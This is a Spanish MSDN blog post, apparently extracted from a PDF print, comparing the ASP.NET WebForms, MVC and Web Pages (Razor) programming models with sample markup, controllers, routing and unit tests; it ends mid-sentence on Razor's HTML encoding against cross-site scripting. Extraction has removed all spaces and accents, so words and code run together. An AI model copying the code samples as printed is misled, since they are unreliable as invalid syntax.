Professional Documents
Culture Documents
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
ModelosdeprogramacinenASP.NET:
WebForms,MVCyWebPages
DanielMossberg 10May20125:49AM
RecientementehepublicadounaseriedeartculosenMSDNEspaaabordandounapreguntaque
recibimosconfrecuencia.Culessonlasdiferenciasentrelostresmodelosdeprogramacinde
ASP.NETyenquesituacionesdeboelegirunodeellossobrelosotros?
Estossonlosenlacesalaseriecompleta:
ASP.NETWebForms,MVCoWebPagesIntroduccin
http://msdn.microsoft.com/eses/asp.net/hh984851
Parte1ASP.NETWebForms
http://msdn.microsoft.com/eses/asp.net/hh984854
Parte2ASP.NETMVC
http://msdn.microsoft.com/eses/asp.net/hh984855
Parte3ASP.NETWebPages
http://msdn.microsoft.com/eses/asp.net/hh984856
Esperoqueosresulteinteresante.
DanielMossberg
ACTUALIZACIN(14/10/2014)
Losenlacesanterioresyanoestndisponibles,porloquepublicoacontinuacinelcontenidooriginal
delaseriedeartculos:
Introduccin
Actualmente,ASP.NETsoportatresmodelosdeprogramacin:ASP.NETWebForms,ASP.NETMVCy
ASP.NETWebPages.Aunquelostresmodelosdeprogramacinseejecutansobrelamismabasede
ASP.NET,cadaunodeellosestructuralaaplicacindemanerascompletamentedistintas,promueve
metodologasdedesarrollodiferentesyseadaptaaperfilesdedesarrolladoresdistintos.Algunas
caractersticasquesonvirtudesenunosmodelosdeprogramacin,puedenserconsideradas
debilidadesenelotro.Quesmsimportante,desarrollaraungranniveldeabstraccinotener
controltotalcadaunodelosaspectosdelaaplicacin?Simplicidadvs.Control.Flexibilidadvs.
Eficiencia.Estassonlascompensacionesquehayquebaremaralahoradeelegir.Enestaseriede
artculosrepasaremoslasdiferenciasentrelostresmodelosdeprogramacin,ylosescenarios
favorablesacadaunodeellos.
Esimportanterecalcarqueelhechodeelegirunodelosmodelosdeprogramacinalcomenzarun
proyectodeASP.NETnoexcluyenecesariamentealosotros,sinoqueesposibleteneraplicaciones
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
1/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
hibridasyenmuchoscasostendrtodoelsentidodesarrollarciertaspartesdelaaplicacinconun
modelodeprogramacinyotraspartesconotromodelodistinto.
ASP.NETWebFormsfueelprimerodelostresmodelosdeprogramacinenexistir,yproporcionaun
granniveldeabstraccinconunmodelodeprogramacinfamiliarbasadoeneventosycontrolesque
favorecelaproductividadmediantelaprogramacindeclarativareduciendolacantidaddecdigo
necesariaparaimplementarunadeterminadafuncionalidad.
ASP.NETMVCseconcibicomoalternativaaWebFormsyproporcionaunmodelodeprogramacin
basadoenelpopularpatrndearquitecturaMVC.Entresusprincipalescaractersticasdestacansu
completaintegracinconpruebasunitariasysuseparacinmsclaraentrelalgicadepresentacin,
lalgicadenegocioylalgicadeaccesoadatos.
ASP.NETWebPageseselmsrecientedelostresmodelosdeprogramacin,yfuecreadocomo
respuestaaunacrecientedemandadedesarrolladoreswebsinexperienciapreviaconASP.NET,cuya
iniciacinenASP.NETWebFormsoMVClessuponaunainversininicialdetiempodemasiado
grande.WebPagesproporcionaunmodelodeprogramacinmssimpleyrpidodeaprender,sin
renunciaratodalafuncionalidadyflexibilidaddeASP.NET.
Parte1ASP.NETWebForms
ASP.NETesunodelospilaresfundamentalesdelFramework.NET,ydurantemuchosaosWebForms
fueelnicomodelodeprogramacindisponible.Cuandonaci,WebFormsintroducanovedades
importantesrespectoaotrastecnologasdedesarrollowebcomoASP,PHPoJSP.Unadelasms
significativaseralaseparacinentreelcdigodeservidoryelmarkupHTML.
LaestructuratpicadeunapginaWebFormssecomponeporunladodeunfichero*.aspxenelque
sedefinelaestructuraHTMLyseaadendeclarativamenteloscontrolesdeservidordelapgina
(hablaremosendetallesobrecontrolesdeservidormsadelante).Porotroladotenemoselficherode
cdigocodebehind,*.aspx.cso*.aspx.vbdependiendodellenguajedeprogramacinelegido,enel
queseimplementaelcdigodeservidordelapgina.Posteriormente,ambosficherossecompilanen
ensambladosquecontienenelcdigodeservidorquegeneraelHTMLemitidoalejecutarlapgina.
Launinentreambosficherosserealizamedianteladirectivadepginadelfichero*.aspx(<%@
Page%>)enlaqueseespecificaelnombredelaclasedelaquehereda(Inherits)yelficherode
cdigofuente(CodeBehind)dondeseimplementadichaclase,tambinconocidocomoelcode
behinddelapgina.
WebForm.aspx:
<%@PageLanguage="C#"AutoEventWireup="true"CodeBehind="WebForm.aspx.cs"
Inherits="AdventureWorksWebForms.WebForm"%>
<!DOCTYPEhtmlPUBLIC"//W3C//DTDXHTML1.0Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1transitional.dtd">
<htmlxmlns="http://www.w3.org/1999/xhtml">
<headrunat="server">
<title>ASP.NETWebForms</title>
</head>
<body>
<formid="form1"runat="server">
<div>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
2/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
<asp:LabelID="MyLabel"runat="server"Text="HelloWorld!"></asp:Label>
<asp:ButtonID="MyButton"runat="server"Text="Run"/>
</div>
</form>
</body>
</html>
Enelficherodecodebehindseimplementaelcdigodeservidordelapginacomolosmanejadores
deeventosdeloscontrolesdelapgina(enelejemplo:MyButton_Click),cdigodeinteraccinconlas
capasdelgicadenegociooaccesoadatos,ocdigodevalidacindedatosdeentradadelusuario
porejemplo.
WebForm.aspx.cs:
usingSystem;
namespaceAdventureWorksWebForms
{
publicpartialclassWebForm:System.Web.UI.Page
{
protectedvoidMyButton_Click(objectsender,EventArgse)
{
MyLabel.Text="HelloWorldchangedafterpostback!";
}
}
}
ConelFramework.NET2.0seintrodujoelconceptodeclasesparcialesloquepermiteimplementar
clasesde.NETenmsdeunfichero.ASP.NET2.0hizousodelasclasesparcialesenlosficherosde
codebehindparacrearunaseparacinadicionalentreelcdigogeneradoautomticamenteporVisual
Studioyelcodebehinddesarrolladoporelprogramador.EnversionesanterioresdeASP.NET,Visual
Studioaadacdigodirectamenteenelficherodecodebehind,comoporejemploelcdigode
declaracindevariablesdecontrolesdeservidor,generadoautomticamentealarrastraruncontrola
lapginaenlavistadediseodeVisualStudio.
Portanto,apartirdeASP.NET2.0elficherodecodebehindsesimplificaanmsdadoque
desaparecenestasdeclaracionesdevariablesyelcdigogeneradoporVisualStudiosecreaenun
ficherodistintodelamismaclaseparcial:
WebForm.aspx.designer.cs:
namespaceAdventureWorksWebForms
{
publicpartialclassWebForm
{
///<summary>
///MyLabelcontrol.
///</summary>
///<remarks>
///Autogeneratedfield.
///Tomodifymovefielddeclarationfromdesignerfiletocodebehindfile.
///</remarks>
protectedglobal::System.Web.UI.WebControls.LabelMyLabel;
///<summary>
///MyButtoncontrol.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
3/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
///</summary>
///<remarks>
///Autogeneratedfield.
///Tomodifymovefielddeclarationfromdesignerfiletocodebehindfile.
///</remarks>
protectedglobal::System.Web.UI.WebControls.ButtonMyButton;
}
}
WebFormsesunmodelodeprogramacincuyaprincipalcaractersticaeselniveldeabstracciny
encapsulamientoqueproporciona,alavezqueestremendamenteverstil.WebFormsesuna
tecnologaenlaqueMicrosoftsigueinvirtiendofuertemente,yenASP.NET4.0seintroducen
numerosasnovedadesymejorasquecorrigenmuchasdelasquehistricamentehansidosus
debilidades:
WebFormsURLRouting:PermitecrearURLsoptimizadasparamotoresdebsqueda(SEO).
HTMLmspredecible:LoscontrolesdeservidorgeneranHTMLmscompatibleconlos
estndaresymsfcilintegrarconJavaScriptyCSS.
ViewStateselectivo:Permitehabilitarydeshabilitarelviewstategranularmenteanivelde
controldeformamsflexiblequeenanterioresversionesdeASP.NET.
Estossonalgunosejemplos,peroexisteunalistacompletadetodaslasnovedadesen
http://www.asp.net/whitepapers/aspnet4.
CincorazonesporlasqueASP.NETWebFormspuedeserlamejoropcinparati
1Modelodeprogramacinfamiliarbasadoencontrolesyeventos
Quienestfamiliarizadoconeldesarrollodeaplicacionesdeescritorio,porejemplocon.NET
WindowsFormsoJavaSwing,lecostarpocolatransicinaldesarrolloconASP.NETWebForms.Web
Formspreservaelparadigmadearrastrarcontrolessobrelaspginaswebdeformaequivalentea
comosearrastranloscontrolessobreunaaplicacindeWindows.Loscontrolesdeservidorde
ASP.NETpuedenserelementosdeinteraccinsimplescomoelbotnolacajadetexto,ocontroles
mascomplejoscomoelcalendario,elmenoelcontroldeloginqueencapsulanfuncionalidadms
compleja.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
4/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Loscontrolestienenpropiedadesasociadasquesepuedenmanipulardeclarativamenteenelfichero
*.aspx,programticamentedesdeelficherocodebehindodesdelapropiainterfazgrficadeVisual
Studio.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
5/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Adicionalmente,laspginasWebFormsysuscontrolesdeservidorlanzanunaseriedeeventosante
determinadassituacionesointeraccionesdelusuario,yunapartefundamentaldelasaplicaciones
WebFormsradicaprecisamenteenmanejaryresponderadecuadamenteantedichoseventos.
protectedvoidButton1_Click(objectsender,EventArgse)
{
Response.Redirect("/home.aspx",false);
Context.ApplicationInstance.CompleteRequest();
}
2EncapsulamientodeHTML,CSSyJavacscript.
ASP.NETWebFormssimplificaeldesarrollowebencapsulandogranpartedelacomplejidaddel
protocoloHTTPydeloslenguajesHTML,JavaScriptyCSS.EneldesarrolloconWebFormsnoes
imprescindible(aunquesconveniente)conocerenprofundidadningunadeestastecnologas.Enel
protocoloHTTPpordefinicinnoexisteelestado,ysinembargolaspginasASP.NETWebFormsysus
controlesmantienenelestadoalolargodelospostbacks.Unodelosmecanismosesencialespara
conseguiresteniveldeabstraccinsonprecisamenteloscontrolesdeservidor,queengranmedida
abstraenaldesarrolladordelcdigoHTML,CSSyJavaScriptsubyacente.
AadiruncontroldetipocalendaraunapginaASP.NETWebFormsnicamenterequiereaadirla
siguientelneadecdigoalapgina*.aspx:
<asp:CalendarID="Calendar1"runat="server"></asp:Calendar>
Sinembargocuandolapginaseejecutaelcontroldeservidorgeneraunentramadorelativamente
complejodecdigodecliente(HTML,JavascriptyCSS)simplementeparapintarelcalendarioenla
pgina.Almargendeesto,ASP.NETWebFormsproporcionalalgicanecesariaenelservidorparaque
elcontrolmantengaelestadoalolargodevariospostbacks,ytodoestodeformacompletamente
transparenteparaelusuario.
<tableid="Calendar1"cellspacing="0"cellpadding="2"title="Calendar"style="border
width:1px;borderstyle:solid;bordercollapse:collapse;">
<tr>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
6/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
<tdcolspan="7"style="backgroundcolor:Silver;">
<tablecellspacing="0"style="width:100%;bordercollapse:collapse;">
<tr>
<tdstyle="width:15%;">
<ahref="javascript:__doPostBack('Calendar1','V4383')"style="color:Black"
title="Gotothepreviousmonth"><</a>
</td>
<tdalign="center"style="width:70%;">febrerode2012</td>
<tdalign="right"style="width:15%;">
<ahref="javascript:__doPostBack('Calendar1','V4443')"style="color:Black"
title="Gotothenextmonth">></a>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<thalign="center"abbr="lunes"scope="col">lun</th>
<thalign="center"abbr="martes"scope="col">mar</th>
<thalign="center"abbr="mircoles"scope="col">mi</th>
<thalign="center"abbr="jueves"scope="col">jue</th>
<thalign="center"abbr="viernes"scope="col">vie</th>
<thalign="center"abbr="sbado"scope="col">sb</th>
<thalign="center"abbr="domingo"scope="col">dom</th>
</tr>
</table>
Algunoscontrolessoportanmecanismosmsavanzadosdepersonalizacin,comolafuncionalidad
AutoFormatquepermiteaplicardistintosesquemasdecoloresyestilossobreelcontroldeforma
completamentevisual,denuevosinnecesidaddetocarniunasolalneadecdigo.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
7/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Endefinitiva,doscaractersticasimportantesdeASP.NETWebFormssonlasimplificacindel
desarrollowebylareduccindelacantidaddecdigonecesarioparaconseguirunadeterminada
funcionalidad.
3Ecosistemadecontrolesdeterceros
ASP.NETWebFormsesunatecnologamaduraentornoalacualsehaconstruidounimportante
ecosistemadeempresasespecializadasendesarrollarcontrolesdegrancalidad.Algunasdeestas
empresascomoTelerik,InfragisticsoDevexpress,desarrollancontrolesutilizadosenmilesde
aplicacionesWebFormsenInternet.Utilizarestetipodecontrolesdetercerosenlugardeoptarporel
desarrollopropiopuedesuponerunimportanteahorrodetiempoydinero,yenmuchasocasiones
retornarmejoresresultados.
4Accesoadatossimplificado
Lamayoradeaplicacioneswebconsumenymanipulandatos.PorelloASP.NETWebFormssoportaun
amplioabanicodeorgenesdedatos,eimplementacontrolesespecficosparasimplificarelaccesoa
losorgenesdedatosmscomunescomobasesdedatos,ficherosXML,objetosdenegocioomodelos
dedatosdeEntityFramework.Loscontrolesdetipoorigendedatos(datasource)soncontrolessin
elementosgrficosasociados,quepermitenaotroscontrolesdeservidorenlazarconlosorgenesde
datosdeformacompletamentedeclarativa.
Loscontrolesdatasourcesepuedencreardeclarativamenteoenmodogrficodesdelavistade
diseodeVisualStudio.Porejemplo,elcontrolSqlDataSourcedebecomomnimoindicarlacadenade
conexinalorigendedatosylaconsultaaejecutarpararecuperarlosdatosdeseados.
<asp:SqlDataSourceID="EmployeeSqlDataSource"runat="server"
ConnectionString="<%$ConnectionStrings:ConnectionString%>"
SelectCommand="SELECT*FROM[Employee]ORDERBY[Id]">
</asp:SqlDataSource>
Enelmodogrficodelavistadediseopodemoshacerlomismosiguiendolospasosporlosquenos
guaunwizard.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
8/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Unavezcreadosloscontrolesdeorigendedatos,podemosconfigurarloscomolapropiedaddata
sourcedeotroscontrolesdeservidorconelementosgrficos,yasenlazarlosconunorigendedatos
deformadeclarativa.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
9/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
5MenorcantidaddecdigoymenorcomplejidadqueASP.NETMVC
Debidoatodoloanterior,endefinitivalasaplicacionesASP.NETWebFormsrequierendesarrollar
menorcantidaddecdigoquelasaplicacionesASP.NETMVCporloqueseadaptanmejoraequipos
dedesarrollomsreducidos.
Parte2ASP.NETMVC
Enmarzode2009sehizopblicalaprimeraversindeASP.NETMVC.ElpatrndearquitecturaMVC
(modelviewcontroller)noesnuevo(datade1979)niesalgoquehayainventadoMicrosoft.Existen
muchosframeworksdedesarrollowebpopularesqueutilizanMVC,comoporejemploRubyonRails,
SpringoApacheStruts.MVCesunpatrndearquitecturaqueayudaacrearunaseparacinlgica
entreelmodelo(lalgicadeaccesoadatos),lavista(lalgicadepresentacin)yelcontrolador(la
lgicadenegocio).
UnodelospilaresbsicosdeASP.NETMVCeselconceptodeenrutamiento(routing),loquepermitea
lasaplicacionesaceptarpeticionesaURLsquenosecorrespondenconficherosfsicosenelservidor.
Porejemplo,enASP.NETWebFormslasURLstienenelsiguienteformato
http://website/products.aspx?category=dvdenelquefsicamenteexisteunficheroproducts.aspx
enlarazdelsitioweb.EnMVClamismaURLtendraelsiguienteaspecto
http://website/products/dvdsinqueelservidorwebnecesariamentecontengaunacarpeta
productsconunasubcarpetadvd.Deformapredeterminada,ASP.NETMVCenrutalaspeticionesal
controladoryalavistaadecuadaenfuncindelaURL.Esdecir,enelejemploanterior,nosdevolver
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
10/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
lavistadvddelcontroladorproducts.
EsteeselaspectoquetieneunproyectoASP.NETMVCenVisualStudio,queparaquinhaya
trabajadoenproyectosWebFormsnotarcambiossignificativos:
Elcontroladoreslapiezaresponsablederesponderalaspeticionesrealizadascontralaaplicacin
ASP.NETMVCmediantedistintasacciones,porejemplodevolviendounavistadeterminada,
redireccionandolapeticinauncontroladordistinto,etc.Enelcasomsbsico,lasaccionesdeun
controladorselimitanadevolvervistas.Enelsiguienteejemplo,elcontroladorproductsimplementa
dosaccionesquedevuelvenlasvistasindexydvd.
usingSystem.Web.Mvc;
namespaceAdventureWorks.Controllers
{
publicclassProductsController:Controller
{
publicActionResultIndex()
{
ViewBag.Message="WelcometoAdventureWorksonlinestore!";
returnView();
}
publicActionResultDvd()
{
returnView();
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
11/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
}
}
Paraentendermejorelconceptodeenrutamientoysurelacinconcontroladoresyvistas,analicemos
queocurresiaadimosunanuevaaccinblurayalcontroladorproductsquequedaraexpuestaenla
URLhttp://website/products/bluray.
publicActionResultBluray()
{
returnView();
}
Sinoindicamoslocontrario,ASP.NETMVCintentarbuscarunavistaquesellamaigualquelaaccin
quesehaejecutado.Elerrorquedevuelvelaaplicacinindicaquenohapodidoencontrarlavistay
ademsindicadondelahabuscado.Comosepuedeobservar,enASP.NETMVChayunmapeodirecto
entrelasURLs,losmtodosqueseejecutanenelcontrolador(lasacciones)ylasvistasquese
devuelven.Prevalecelaconvencinsobrelaconfiguracin.
ASP.NETMVCfueconcebidoconelobjetivodeproporcionarunamayorseparacindeconceptosy
mayorcontrolsobreelcomportamientodelaaplicacin.Alnohacerusodemuchosdelos
mecanismosdeabstraccindeASP.NETWebForms,comoelviewstateolosformulariosdeservidor,
ASP.NETMVCrequiereunmayorconocimientosobreprotocolosylenguajesweb.Engenerallas
aplicacionesASP.NETMVCrequierendesarrollarunamayorcantidaddecdigoqueunaaplicacin
ASP.NETWebFormsdefuncionalidadequivalente,perotambinproporcionanunmayorcontrolal
desarrolladorsobreelcomportamientodelaaplicacin.
CincorazonesporlasqueASP.NETMVCpuedeserlamejoropcinparati
1Aplicacionesfcilmenteintegrablesconpruebasunitarias
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
12/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
Laprincipalcaractersticaquehaceaunaaplicacinfcildeprobareseldesacoplamiento(loose
coupling)entreloscomponentesdelaaplicacin,deformaquecadaunodeloscomponentesse
puedaprobardeformaaislada.Laspruebasunitariasenesenciasonclasescreadasconelnico
propsitodeinstanciaryhacerusodelasclasesymtodosdeunaaplicacin,yverificarqueesas
clasessecomportancomoesesperadoendistintassituaciones.ElmtodoXdevuelveelvalor
esperadoalpasarunosparmetrosdeterminados?LaclaseYlanzaunaexcepcindetipoZcuandose
pasanunosparmetrosinvlidosalconstructor?
UnodelosgrandesproblemasdeWebFormseralaimposibilidaddeprobarlasaplicacionesmediante
pruebasunitarias,dadoquenoesposibleinstanciarclasesqueheredandeSystem.Web.UI.Pagede
formaaislada.SinembargoenASP.NETMVClalgicaquecontrolaelflujodelaaplicacinresideen
loscontroladores,yloscontroladoresnosonmsqueclasessindependenciasexternasporloquese
puedeninstanciarsinproblemasdesdeelcdigodelaspruebasunitarias.Siguiendoconelejemplo
anterior,podramosimplementarelsiguientemtododepruebaunitariaparaverificarqueelnombre
delavistaquedevuelvelaaccinDvddelcontroladorProductseslaesperada:
usingSystem.Web.Mvc;
usingAdventureWorks.Controllers;
usingMicrosoft.VisualStudio.TestTools.UnitTesting;
namespaceAdventureWorksTest
{
[TestClass]
publicclassProductsControllerTest
{
[TestMethod]
publicvoidTestDvdView()
{
//Arrange
ProductsControllerproducts=newProductsController();
//Act
ViewResultresult=(ViewResult)products.Dvd();
//Assert
Assert.AreEqual("Dvd",result.ViewName);
}
}
}
LaplantilladeVisualStudioparacrearunnuevoproyectoASP.NETMVCeslanicaplantilladeun
proyectowebquecreaunproyectoadicionaldepruebasunitariasenlasolucin,loquedenuevo
refuerzaquelaspruebasunitariassonunaparteintegraldelasaplicacionesASP.NETMVC.
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
13/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
2MayorflexibilidadycontrolsobrelasURLsexpuestasporlaaplicacin.
ASP.NETMVCproporcionamayorcontrolyflexibilidadsobrelasURLsqueexponelaaplicacin.El
componenteclavequeposibilitaestafuncionalidaddeMVCeselmotordeURLroutingquese
introdujoenASP.NET3.5SP1,yquedesdeASP.NET4.0tambinestdisponibleparaWebForms.El
URLroutingpermitealasaplicacionesexponerURLsmssimples,semnticamentemssignificativas
paralosusuariosymejoroptimizadasparalosmotoresdebsqueda.
LasrutaspredeterminadasenunaaplicacinASP.NETMVCestndefinidasenelmtodo
RegisterRoutesdelficheroglobal.asax:
publicstaticvoidRegisterRoutes(RouteCollectionroutes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
"Default",//Routename
"{controller}/{action}/{id}",//URLwithparameters
new{controller="Home",action="Index",id=UrlParameter.Optional}//
Parameterdefaults
);
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
14/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
ElenrutamientopredeterminadodecualquieraplicacinASP.NETMVCexponeURLsdeltipo
http://website/{controlador}/{vista}/{parametros}.Porejemplo,uncontroladorSearchquerealiza
bsquedasenuncatalogodeproductosconunanicavistaResultsalaquesepasaporparmetrola
cadenadebsquedapordefectoestaraexpuestaenlaURLhttp://website/search/results/star+wars.
PodratenermssentidoeliminarelnombredelavistaparaconseguirunaURLmssimple,deforma
queseaccedieramediantehttp://website/search/star+wars.Conseguirestonicamenterequiere
registrarunanuevarutaenelmtodoRegisterRoutes:
routes.MapRoute(
"Search",//Routename
"Search/{id}",//URLwithparameters
new{controller="Search",action="Results"}//Parameterdefaults
);
3MayorcontrolsobreelHTMLdelaaplicacin.
EnASP.NETMVCdesaparecenloscontrolesdeservidorbasadoselmodelodepostbackdeWeb
Formsdadoqueahoracadainteraccindelusuariodebeirenrutadaauncontroladoryaunaaccin
especficos.Enlaprcticaestoimplicaquedesaparecenlamayoradecontrolesdeservidorque
generanHTML,porloqueahoraestareadelosdesarrolladoresescribirtodoeseHTML.Estosupone
variasventajasimportantes,unadeellasesqueelHTMLqueproducenlasaplicacionesMVCes
completamentepredecible,loselementosHTMLnotienenidentificadoresgeneradosdinmicamente
deltipoctl00_ControlPadre_ControlHijo_...yporconsecuenciaessignificativamentemssencillala
programacindecdigoJavaScriptdeclientecontraelHTMLgenerado.Otrasventajassonelcontrol
totalalahoradeproducirHTMLvalidable,HTMLcompatiblecondistintosestndaresdeaccesibilidad
web,etc.
4Plataformacompletamenteextensible
ASP.NETMVChasidodiseadaparasercompletamenteextensible,loqueimplicaquecualquier
elementolgicodelflujodeprocesamientodeunapeticinMVC,puedeserextendidoo
completamentesustituidoporunaimplementacinpropia.Paraello,ASP.NETMVCintroduceuna
seriedepuntosdeextensinenlosqueesposibleinyectarcdigopersonalizadoquemodifiqueel
comportamientopredeterminado.Estospuntosdeextensinseencuentranporejemploenlalgica
deenrutamiento,enlacreacindeloscontroladores,enlaejecucindelasaccionesdelcontrolador,
enlaseleccindelasvistasolosviewengines,etc.
5Modelodeprogramacinquepromueveunamejorarquitecturadelasaplicaciones.
LascaractersticasinherentesdelmodelodeprogramacinASP.NETMVCpromuevenunamejor
arquitecturadelasaplicaciones,conunaseparacinmsclaraentrelalgicadepresentacin,lalgica
denegocioylalgicadeaccesoadatos.Estaseparacinlgicatambincontribuyedesarrollarun
cdigomsreutilizabledebidoalmayordesacoplamientoentrelosdistintoscomponentes.
Parte3ASP.NETWebPages
TranscurridopocomsdeunaodesdeellanzamientodelaprimeraversindeASP.NETMVC,en
Juliode2010seanunciladisponibilidadpblicadeunanuevasintaxisparapginasASP.NETllamada
RazoryunnuevotipodepginasASP.NETquehacenusodedichasintaxis,lasdenominadas
ASP.NETWebPages.PrcticamentedeformasimultaneaallanzamientodeRazor,sehizopblicala
disponibilidaddeMicrosoftWebMatrix.WebMatrixesunaherramientadedesarrollowebgratuita
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
15/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
queincluyetodolonecesarioparadesarrollaraplicacionesASP.NET,ASPoinclusoPHP.WebMatrix
proporcionaunentornodedesarrollowebautnomo,queintegratambinelservidorwebde
desarrollo(IISExpress),labasededatos(SQLServerCompactEdition),ylasherramientaspara
desplegarlasaplicacionesenentornosdeproduccin(WebDeploy).
LasintaxisRazorfuediseadaconlosobjetivosdeserfcildeaprender,minimizarelnmerode
caracteresnecesariosparalasintaxisconsiguiendouncdigocompactoyfluido,utilizarloslenguajes
.NETexistentes,sercompatibleconcualquiereditordetextoysertesteablemediantepruebas
unitarias.Enesencia,RazorpermiteintroducirfragmentosdecdigoVisualBasic.NEToC#
directamenteenelcdigoHTML,porloqueconvenientementelaextensindelaspginasRazores
*.cshtmlo*.vbhtml.
ConRazortodoelcdigodeunapginaseencuentraenunnicofichero,queseejecutadeprincipioa
fin.ElciclodevidadeejecucindeunapginasehasimplificadosignificativamenterespectoaWeb
FormsoMVC.ElcomienzodeunbloquedecdigodeservidorenRazorseindicaconelcarcter@,y
adiferenciadelasintaxisequivalenteenlaspginas*.aspx,<%%>,noseindicaexplcitamenteel
cierredelbloque.Elcompiladorutilizasuconocimientodeloslenguajes.NETparadeterminardonde
terminanlosbloquesdecdigodeservidor,ydondecomienzaelHTML.
ASPX
<div>
Bienvenido<%=Usuario.Nombre%>,hoyes<%=DateTime.Now.Date.ToShortDateString()%>
</div>
Razor
<div>
Bienvenido@Usuario.Nombre,hoyes@DateTime.Now.Date.ToShortDateString()
</div>
AunqueRazorestoptimizadoparaentrelazarcdigo.NETycdigoHTMLdeunaformafluida,en
esencianosediferenciamuchodelasintaxisVB.NEToC#alaqueyaestamosacostumbrados.Esfcil
habituarsealanuevasintaxisalahoradecrearsentenciasybloquesdecdigomscomplejos,como
porejemplobloquesmultilnea,bloquesifobloquesforeach:
<!DOCTYPEhtml>
@usingSystem.Collections
@{
Hashtablemodels=newHashtable();
models.Add("ASP.NETWebForms","http://www.asp.net/webforms");
models.Add("ASP.NETMVC","http://www.asp.net/mvc");
models.Add("ASP.NETWebPages","http://www.asp.net/webpages");
}
<htmllang="en">
<head>
<metacharset="utf8"/>
<title></title>
</head>
<body>
<h1>ModelosdeprogramacinendeASP.NET:</h1>
<ul>
http://blogs.msdn.com/b/daniem/archive/2012/05/10/modelosdeprogramacionenaspnet.aspx
16/22
14/2/2015
ModelosdeprogramacinenASP.NET:WebForms,MVCyWebPagesThecodeisoutthereSiteHomeMSDNBlogs
@foreach(DictionaryEntryentryinmodels)
{
<li><ahref="@entry.Value">@entry.Key</a></li>
}
</ul>
@if(models.Count<3)
{
<p>Thelistaboveisobsolete</p>
}
else
{
<p>Thelistaboveisuptodate</p>
}
</body>
</html>
ElsiguientepostproporcionaunaguamsexhaustivadelasintaxisRazorcomparndolaconla
sintaxisequivalenteASPX:http://haacked.com/archive/2011/01/06/razorsyntaxquick
reference.aspx.
CincorazonesporlasqueASP.NETWebPagespuedeserlamejoropcinparati
1Modelodeprogramacinsimpleyrpidodeaprenderbasadoenpginasindividuales
ASP.NETWebpagespuedeserunabuenaopcinparaelqueestempezandoadesarrollar
aplicacionesconASP.NEToquieradesarrollarunaaplicacinwebsencillaenpocotiempo.
Conceptualmente,elmodelodeejecucinessimilaraASPclsicooPHP,encuantoaquelas
aplicacionesseejecutansecuencialmentedeprincipioafin,sinlacomplejidaddelajerarquade
eventosdeWebForms(Page_Load,Page_Render,etc.)perodisponiendodetodalafuncionalidadde
ASP.NET.
2CodificacinHTMLparaprevenirataquesdecrosssitescripting
EnRazor,elcontenidoemitidoporlosbloquesdecdigodeservidor@estncodificados(HTML
encoded)paraprotegercontraataquesdecrosssitescripting.Estosataques,expuestodemanera
enormementesimplificada,sebasanenqueunusuariomaliciosoconsigainyectarcdigoHTMLo
scriptyposteriormenteotrosusuariosejecutenesecdigocuandoaccedenalapginacomosifuera
HTML/Scriptlegtimodelaaplicacin.Elcdigosepuedeinyectarporejemplodesdeuncampodeun
formularioomedianteunparmetroporquerystring,dondelaaplicacinesperaqueelusuario
